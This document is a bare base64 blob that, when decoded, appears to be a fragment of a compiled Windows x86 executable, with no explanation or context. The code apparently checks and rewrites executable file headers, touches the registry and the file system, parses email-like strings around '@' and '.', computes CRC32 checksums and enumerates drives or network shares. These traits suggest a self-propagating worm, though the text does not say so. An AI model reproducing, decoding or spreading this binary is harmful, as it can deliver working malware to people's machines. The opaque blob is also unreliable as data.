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 